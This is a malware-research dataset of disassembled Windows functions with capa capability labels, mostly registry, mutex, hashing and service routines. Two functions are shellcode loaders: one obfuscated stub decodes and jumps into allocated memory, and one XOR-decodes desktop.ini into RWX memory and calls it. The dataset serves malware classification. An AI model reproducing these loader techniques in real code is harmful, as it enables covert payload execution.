joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43b3df
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0xac]
sub esp, 0xac
push 0xffffffffffffffff
push 0x481b10
mov eax, dword fs:[0]
push eax
sub esp, 0xd0
mov eax, dword [0x4b34c4]
xor eax, ebp
mov dword [ebp + 0xa8], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x28], edi
mov esi, dword [ebp + 0xb4]
lea ecx, [ebp + 0x78]
mov ebx, dword [ebp + 0xb8]
mov eax, dword [ebp + 0xbc]
mov dword [ebp - 0x18], esi
push ebx
mov dword [ebp - 0x18], eax
call fcn.0043a8d1
xor eax, eax
mov dword [ebp - 4], eax
cmp dword [ebp + 0x88], eax
je 0x43b47f
push eax
lea eax, [ebp + 0x78]
push eax
push edi
lea ecx, [ebp + 0x3c]
call fcn.0043aa20
push dword [ebp - 0x18]
lea ecx, [ebp + 0x90]
mov byte [ebp - 4], 1
push ecx
push esi
mov ecx, eax
call fcn.0043b3df
lea ecx, [ebp + 0x3c]
call fcn.00474cc0
jmp 0x43b516
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov edx, eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov byte [ebp - 4], 2
mov eax, edx
sub eax, ecx
cmp ecx, edx
mov dword [ebp - 0x14], eax
sete byte [ebp - 0xd]
xor eax, eax
cmp ecx, edx
cmove ecx, eax
cmp dword [ebx + 0x14], 0x10
mov eax, ebx
jb 0x43b4ae
mov eax, dword [ebx]
lea edx, [ebp - 0x14]
push edx
push ecx
push dword [ebp - 0x18]
push 0
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [ebp - 0x14]
mov edi, eax
cmp edi, 0xea
je 0x43b4dc
cmp byte [ebp - 0xd], 0
je 0x43b4f4
test edi, edi
jne 0x43b550
test ecx, ecx
je 0x43b4f8
lea eax, [ebp - 0xd]
push eax
push ecx
lea ecx, [ebp - 0x24]
call fcn.0041afd1
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
jmp 0x43b490
test edi, edi
jne 0x43b550
lea eax, [ebp - 0xd]
push eax
push ecx
lea ecx, [ebp - 0x24]
call fcn.0041afd1
mov eax, dword [ebp - 0x24]
mov dword [esi], eax
mov eax, dword [ebp - 0x20]
mov dword [esi + 4], eax
mov eax, dword [ebp - 0x1c]
mov dword [esi + 8], eax
lea ecx, [ebp + 0x90]
call fcn.004063d7
lea ecx, [ebp + 0x78]
call fcn.004063d7
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0xa8]
xor ecx, ebp
call fcn.00450e68
add ebp, 0xac
leave
ret 0xc
push str.query_value
lea ecx, [ebp + 0x60]
call fcn.004038cc
lea ecx, [ebp]
call fcn.0040391d
mov ecx, dword [ebp - 0x28]
push eax
push ebx
lea eax, [ebp + 0x60]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp + 0x48]
push eax
call fcn.0043af50
push eax
lea ecx, [ebp - 0xdc]
mov byte [ebp - 4], 5
call fcn.00427e9c
push str.System_error
push edi
push dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0xdc]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x38]
call fcn.0043ca54
mov esi, eax
push 0x12b
push str.Registry::getValue
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 7
call fcn.00403a94
push eax
lea eax, [ebp + 0x18]
push esi
push eax
call fcn.00474cc0
add esp, 0xc
lea eax, [ebp + 0x18]
push 0x4a74f4
push eax
call fcn.00474cc0
int3
Function at 0x43b913
Capabilities:
Set registry value

Disassembly:
push 0x17c
mov eax, 0x481c79
call fcn.00450edb
mov edi, ecx
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x70]
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
push esi
mov dword [ebp - 0xec], eax
call fcn.0043a8d1
and dword [ebp - 4], 0
cmp dword [ebp - 0x60], 0
je 0x43b97e
push 1
lea eax, [ebp - 0x70]
push eax
push edi
lea ecx, [ebp - 0xac]
call fcn.0043aa20
push ebx
push dword [ebp - 0xec]
lea ecx, [ebp - 0x58]
mov byte [ebp - 4], 1
push ecx
mov ecx, eax
call fcn.0043b913
lea ecx, [ebp - 0xac]
call fcn.00474cc0
jmp 0x43ba70
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x43b988
mov eax, dword [esi]
push ebx
push dword [ebp - 0xec]
push 3
push 0
push eax
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0xec], eax
test eax, eax
jne 0x43ba88
push eax
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x43ba70
push 1
lea ecx, [ebp - 0x188]
call fcn.004037e9
lea eax, [ebp - 0x188]
mov byte [ebp - 4], 7
push str.length
push eax
call fcn.00402c16
pop ecx
pop ecx
push ebx
lea ecx, [ebp - 0x188]
call fcn.004042ce
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x184]
call fcn.0040776e
push esi
lea eax, [ebp - 0x88]
mov byte [ebp - 4], 8
push eax
mov ecx, edi
call fcn.00474cc0
push 3
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 9
push ecx
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.0043a766
add esp, 0x10
push eax
push str.Registry::setBinary
push 0x1b3
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
push 0
mov byte [ebp - 4], 0xa
call fcn.00425c61
mov ecx, eax
call fcn.00425e9d
lea ecx, [ebp - 0x40]
call fcn.004063d7
lea ecx, [ebp - 0x88]
call fcn.004063d7
lea ecx, [ebp - 0x28]
call fcn.004063d7
lea ecx, [ebp - 0x188]
call fcn.00474cc0
lea ecx, [ebp - 0x58]
call fcn.004063d7
lea ecx, [ebp - 0x70]
call fcn.004063d7
call fcn.00450e8a
ret 0xc
push str.set_binary_value
lea ecx, [ebp - 0x40]
call fcn.004038cc
lea ecx, [ebp - 0xe8]
call fcn.0040391d
push eax
push esi
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0xa0]
mov ecx, edi
push eax
call fcn.0043af50
push eax
lea ecx, [ebp - 0x188]
mov byte [ebp - 4], 4
call fcn.00427e9c
push str.System_error
push dword [ebp - 0xec]
lea eax, [ebp - 0x188]
mov byte [ebp - 4], 5
push dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x7c]
push eax
call fcn.0043ca54
mov esi, eax
push 0x1ae
push str.Registry::setBinary
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 6
call fcn.00403a94
push eax
lea eax, [ebp - 0xd0]
push esi
push eax
call fcn.00474cc0
add esp, 0xc
lea eax, [ebp - 0xd0]
push 0x4a74f4
push eax
call fcn.00474cc0
int3
Function at 0x43bb2c
Capabilities:
Set registry value

Disassembly:
push 0x16c
mov eax, 0x481cff
call fcn.00450edb
mov edi, ecx
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x58]
push esi
call fcn.0043a8d1
and dword [ebp - 4], 0
cmp dword [ebp - 0x48], 0
je 0x43bb87
push 1
lea eax, [ebp - 0x58]
push eax
push edi
lea ecx, [ebp - 0x94]
call fcn.0043aa20
push dword [ebp + 0xc]
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
push ecx
mov ecx, eax
call fcn.0043bb2c
lea ecx, [ebp - 0x94]
call fcn.00474cc0
jmp 0x43bc16
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x43bb91
mov eax, dword [esi]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp + 0xc]
push 4
push ecx
push 4
push 0
push eax
push dword [edi]
call ebx
mov dword [ebp - 0xd4], eax
test eax, eax
jne 0x43bc2e
xor ebx, ebx
push ebx
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x43bc16
push esi
lea eax, [ebp - 0x70]
mov ecx, edi
push eax
call fcn.00474cc0
push ebx
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 7
push ecx
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.0043a689
add esp, 0x10
push eax
push str.Registry::setDword
push 0x184
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
push ebx
mov byte [ebp - 4], 8
call fcn.00425c61
mov ecx, eax
call fcn.00425e9d
lea ecx, [ebp - 0x28]
call fcn.004063d7
lea ecx, [ebp - 0x70]
call fcn.004063d7
lea ecx, [ebp - 0x40]
call fcn.004063d7
lea ecx, [ebp - 0x58]
call fcn.004063d7
call fcn.00450e8a
ret 8
push str.set_dword_value
lea ecx, [ebp - 0x28]
call fcn.004038cc
lea ecx, [ebp - 0xd0]
call fcn.0040391d
push eax
push esi
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x88]
mov ecx, edi
push eax
call fcn.0043af50
push eax
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 4
call fcn.00427e9c
push str.System_error
push dword [ebp - 0xd4]
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 5
push ebx
push eax
lea ecx, [ebp - 0xe0]
call fcn.0043ca54
mov esi, eax
push 0x181
push str.Registry::setDword
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 6
call fcn.00403a94
push eax
lea eax, [ebp - 0xb8]
push esi
push eax
call fcn.00474cc0
add esp, 0xc
lea eax, [ebp - 0xb8]
push 0x4a74f4
push eax
call fcn.00474cc0
int3
Function at 0x43bcd0
Capabilities:
Set registry value

Disassembly:
push 0x16c
mov eax, 0x481cff
call fcn.00450edb
mov ebx, ecx
mov edi, dword [ebp + 8]
lea ecx, [ebp - 0x58]
mov esi, dword [ebp + 0xc]
push edi
call fcn.0043a8d1
and dword [ebp - 4], 0
cmp dword [ebp - 0x48], 0
je 0x43bd2c
push 1
lea eax, [ebp - 0x58]
push eax
push ebx
lea ecx, [ebp - 0x94]
call fcn.0043aa20
push esi
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
push ecx
mov ecx, eax
call fcn.0043bcd0
lea ecx, [ebp - 0x94]
call fcn.00474cc0
jmp 0x43bdc0
cmp dword [esi + 0x14], 0x10
mov edx, esi
jb 0x43bd36
mov edx, dword [esi]
cmp dword [edi + 0x14], 0x10
mov ecx, edi
jb 0x43bd40
mov ecx, dword [edi]
mov eax, dword [esi + 0x10]
inc eax
push eax
push edx
push 1
push 0
push ecx
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0xd4], eax
test eax, eax
jne 0x43bdd8
push eax
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x43bdc0
push edi
lea eax, [ebp - 0x70]
mov ecx, ebx
push eax
call fcn.00474cc0
push 0
push esi
push eax
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 7
push eax
call fcn.0043a766
add esp, 0x10
push eax
push str.Registry::setString
push 0x193
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
push 0
mov byte [ebp - 4], 8
call fcn.00425c61
mov ecx, eax
call fcn.00425e9d
lea ecx, [ebp - 0x28]
call fcn.004063d7
lea ecx, [ebp - 0x70]
call fcn.004063d7
lea ecx, [ebp - 0x40]
call fcn.004063d7
lea ecx, [ebp - 0x58]
call fcn.004063d7
call fcn.00450e8a
ret 8
push str.set_string_value
lea ecx, [ebp - 0x28]
call fcn.004038cc
lea ecx, [ebp - 0xd0]
call fcn.0040391d
push eax
push edi
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 3
push eax
lea eax, [ebp - 0x88]
mov ecx, ebx
push eax
call fcn.0043af50
push eax
lea ecx, [ebp - 0x178]
mov byte [ebp - 4], 4
call fcn.00427e9c
push str.System_error
push dword [ebp - 0xd4]
lea eax, [ebp - 0x178]
mov byte [ebp - 4], 5
push dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0xe0]
push eax
call fcn.0043ca54
mov esi, eax
push 0x190
push str.Registry::setString
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_Registry.cpp
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 6
call fcn.00403a94
push eax
lea eax, [ebp - 0xb8]
push esi
push eax
call fcn.00474cc0
add esp, 0xc
lea eax, [ebp - 0xb8]
push 0x4a74f4
push eax
call fcn.00474cc0
int3
Function at 0x43bf0c
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x74
mov eax, dword [0x4b34c4]
xor eax, esp
mov dword [esp + 0x70], eax
push ebx
push ebp
mov ebp, dword [esp + 0x84]
push esi
mov esi, dword [esp + 0x84]
push edi
mov edi, ecx
lea ecx, [esp + 0x2c]
push esi
call fcn.0043a8d1
xor ebx, ebx
cmp dword [esp + 0x3c], ebx
je 0x43bfb0
mov eax, dword [edi + 8]
push ebx
or eax, 0x20019
push eax
lea eax, [esp + 0x34]
push eax
push dword [edi]
lea eax, [esp + 0x28]
push 0x494e68
push eax
call fcn.0043b866
add esp, 0x18
cmp dword [esp + 0x20], ebx
jne 0x43bfa5
push ebp
lea eax, [esp + 0x48]
push eax
lea eax, [esp + 0x34]
push eax
mov eax, dword [esp + 0x24]
push ecx
push ecx
mov ecx, esp
push edi
mov dword [ecx], eax
mov al, byte [esp + 0x34]
mov byte [ecx + 4], al
lea ecx, [esp + 0x74]
mov byte [esp + 0x34], bl
call fcn.0043a908
mov ecx, eax
call fcn.0043bf0c
lea ecx, [esp + 0x5c]
mov bl, al
call fcn.00474cc0
lea ecx, [esp + 0x18]
call fcn.00474cc0
jmp 0x43bfe6
cmp dword [esi + 0x14], 0x10
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], ebx
jb 0x43bfc0
mov esi, dword [esi]
lea eax, [esp + 0x14]
push eax
push ebx
lea eax, [esp + 0x18]
push eax
push ebx
push esi
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x43bfe6
test ebp, ebp
je 0x43bfe4
mov eax, dword [esp + 0x10]
mov dword [ebp], eax
mov bl, 1
lea ecx, [esp + 0x44]
call fcn.004063d7
lea ecx, [esp + 0x2c]
call fcn.004063d7
mov ecx, dword [esp + 0x80]
mov al, bl
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00450e68
add esp, 0x74
ret 8
Function at 0x43fef4
Capabilities:
Check mutex on windows

Disassembly:
push 0xa0
mov eax, 0x48287e
call fcn.00450ea8
push str.Global_MSIExecute
xor ebx, ebx
push ebx
push 0x100000
call dword [sym.imp.kernel32.dll_OpenMutexA]
mov esi, eax
mov byte [ebp - 0x10], 1
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], ebx
test esi, esi
je 0x43ffb4
push dword [ebp + 8]
push esi
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
mov edi, eax
cmp dword [ebp + 8], ebx
je 0x43ffac
push 1
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x43ffac
push 1
lea ecx, [ebp - 0xac]
call fcn.004037e9
lea eax, [ebp - 0xac]
mov byte [ebp - 4], 1
push str.finish_waiting_for_mutex:
push eax
call fcn.00402c16
pop ecx
pop ecx
push edi
lea ecx, [ebp - 0xac]
call fcn.004042ce
lea eax, [ebp - 0xac]
push eax
push str.msi::waitForInstallationCompletion
push 0x1c8
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_common_MsiUtils.cpp
push 1
call fcn.00425c61
mov ecx, eax
call fcn.0040718f
lea ecx, [ebp - 0xac]
call fcn.00474cc0
cmp edi, 0x102
je 0x43ffb6
mov bl, 1
push esi
mov dword [ebp - 4], 3
call fcn.0043d963
pop ecx
mov al, bl
call fcn.00450e76
ret
Function at 0x44ef60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, dword [esp + 4]
push 4
pop edx
movzx ecx, al
shr eax, 8
xor eax, dword [ecx*4 + 0x4917a8]
sub edx, 1
jne 0x44ef67
ret

Function at 0x451c95
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
test eax, eax
je 0x451cd4
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x451cd4
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x451cd4
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x451cd4
cmp dword [ecx + 0x74], 0xe
jbe 0x451cd4
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x474cc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x474ccf
pop dword [ebp - 0x28]
mov eax, 0xb3297538
sub eax, 0xb2e22869
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x502a3
push 0
mov eax, 0xfc86791c
sub eax, 0xfc3e2860
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x92108be8
add ecx, 0x6defc255
mov edi, eax
mov ebx, 0x6f775195
add ebx, 0x90db406b
add ebx, dword [ebp - 0x28]
mov esi, 0x6de5ea5a
add esi, 0x5369465e
mov edx, dword [ebx]
xor dword [ebp - 0x10], esi
sub edx, esi
sub dword [ebp - 0x18], eax
mov dword [edi], edx
add dword [ebp - 0x14], edi
add edi, 0xbba4ab6c
add edi, 0x445b5498
add ebx, 0x9beceaf5
add ebx, 0x6413150f
loop 0x474d2e
add eax, 0x12bc7
xor ebx, ebx
add ebx, eax
add eax, 0x7b453899
sub eax, 0x7b453894
mov ecx, 0x400000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x100456a
Capabilities:
Get common file path
Get disk information
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x324
mov eax, dword [0x100b2d0]
push ebx
xor ebx, ebx
cmp dword [ebp + 0xc], ebx
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 0x31c], edi
mov dword [ebp - 0x318], ebx
jne 0x100459d
xor eax, eax
inc eax
jmp 0x10047a0
push esi
lea eax, [ebp - 0x310]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push edi
call esi
test eax, eax
jne 0x10045de
push ebx
push 0x10
push ebx
push ebx
push 0x4bc
push ebx
call fcn.01003ebe
call fcn.01003aa1
mov dword [0x100ba5c], eax
xor eax, eax
jmp 0x100479f
lea eax, [ebp - 0x318]
push eax
push ebx
call fcn.01006a45
cmp eax, ebx
mov dword [ebp - 0x314], eax
jne 0x100464d
push 0x7f
mov byte [ebp - 0x20c], bl
xor eax, eax
pop ecx
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
jmp 0x102f240
push ebx
push ebx
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x324]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
test eax, eax
jne 0x10046d3
push 0x7f
mov byte [ebp - 0x20c], bl
pop ecx
lea edi, [ebp - 0x20b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.01003aa1
push ebx
mov dword [0x100ba5c], eax
push 0x200
lea eax, [ebp - 0x20c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x1000
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push ebx
push 0x10
lea eax, [ebp - 0x20c]
push eax
push dword [ebp - 0x31c]
push 0x4f9
push ebx
call fcn.01003ebe
lea eax, [ebp - 0x310]
push eax
call esi
jmp 0x10045d7
lea eax, [ebp - 0x310]
push eax
call esi
push 3
push edi
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ecx, 0x200
xor eax, eax
cmp dword [ebp - 0x318], ecx
je 0x1004701
shl ecx, 1
inc eax
cmp ax, 8
jb 0x10046f0
cmp ax, 8
jne 0x100471c
push ebx
push 0x10
push ebx
push ebx
push 0x4c5
push ebx
call fcn.01003ebe
jmp 0x10045d7
test byte [0x100c494], 8
je 0x1004749
test byte [ebp - 0x31f], 0x80
je 0x1004749
mov edx, dword [0x100c498]
movzx eax, ax
mov eax, dword [eax*4 + 0x100cbc0]
mov ecx, edx
shr ecx, 2
shl eax, 1
add ecx, edx
jmp 0x1004759
mov ecx, dword [0x100c498]
movzx eax, ax
mov eax, dword [eax*4 + 0x100cbc0]
mov esi, dword [ebp + 0xc]
and esi, 1
je 0x1004782
test byte [ebp + 0xc], 2
je 0x1004782
lea edx, [ecx + eax]
cmp edx, dword [ebp - 0x314]
jbe 0x1004796
lea edx, [ebp - 0xc]
push edx
push ecx
push eax
push dword [ebp + 0x10]
call fcn.010020a4
jmp 0x100479f
cmp esi, ebx
je 0x100478e
cmp eax, dword [ebp - 0x314]
jmp 0x1004770
cmp ecx, dword [ebp - 0x314]
jmp 0x1004770
xor eax, eax
mov dword [0x100ba5c], ebx
inc eax
pop esi
mov ecx, dword [ebp - 4]
pop edi
pop ebx
call fcn.010064de
leave
ret 0xc
Function at 0x4012e0
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x408004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x100
lea eax, [ebp - 0x204]
mov ebx, ecx
push eax
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
test esi, esi
je 0x4013b7
push 4
lea eax, [ebp - 0x204]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
je 0x4013c7
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call edi
push esi
call edi
push 0x100
lea eax, [ebp - 0x204]
push eax
push 0xffffffffffffffff
push ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
test ebx, ebx
je 0x4013b6
push 0xf01ff
lea eax, [ebp - 0x204]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x4013b3
lea eax, [ebp - 0x220]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4013b0
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call edi
push ebx
call edi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004035bc
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004035bc
mov esp, ebp
pop ebp
ret
Function at 0x4021c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x4021ec
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const___long_long___int64__]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x20], esi
mov ecx, dword [eax]
lea eax, [ebx + 0x30]
mov dword [esp + 0x24], edi
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], eax
test ecx, ecx
je 0x402214
mov eax, dword [eax]
mov ecx, dword [eax]
jmp 0x40221a
xor ecx, ecx
mov dword [esp + 0x18], eax
mov eax, ecx
cdq
mov dword [esp + 0x10], eax
mov ecx, edx
mov dword [esp + 0x14], ecx
test edi, edi
jl 0x402282
jg 0x402231
test esi, esi
je 0x402282
test ecx, ecx
jl 0x40227d
jg 0x40223b
test eax, eax
je 0x40227d
cmp edi, ecx
jg 0x40224f
jl 0x402245
cmp esi, eax
jae 0x40224f
mov eax, esi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x24]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [esp + 0x24]
add esp, 0xc
mov edx, dword [esp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, edx
sub esi, edx
mov eax, dword [eax]
sbb edi, dword [esp + 0x14]
sub dword [eax], edx
mov eax, dword [ebx + 0x20]
add dword [eax], edx
jmp 0x402285
mov ecx, dword [ebp + 8]
jmp 0x40228f
mov ecx, dword [ebp + 8]
test edi, edi
jl 0x4022a9
jg 0x40228f
test esi, esi
je 0x4022a9
mov eax, dword [ebx + 0x4c]
test eax, eax
je 0x4022a9
push eax
push esi
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc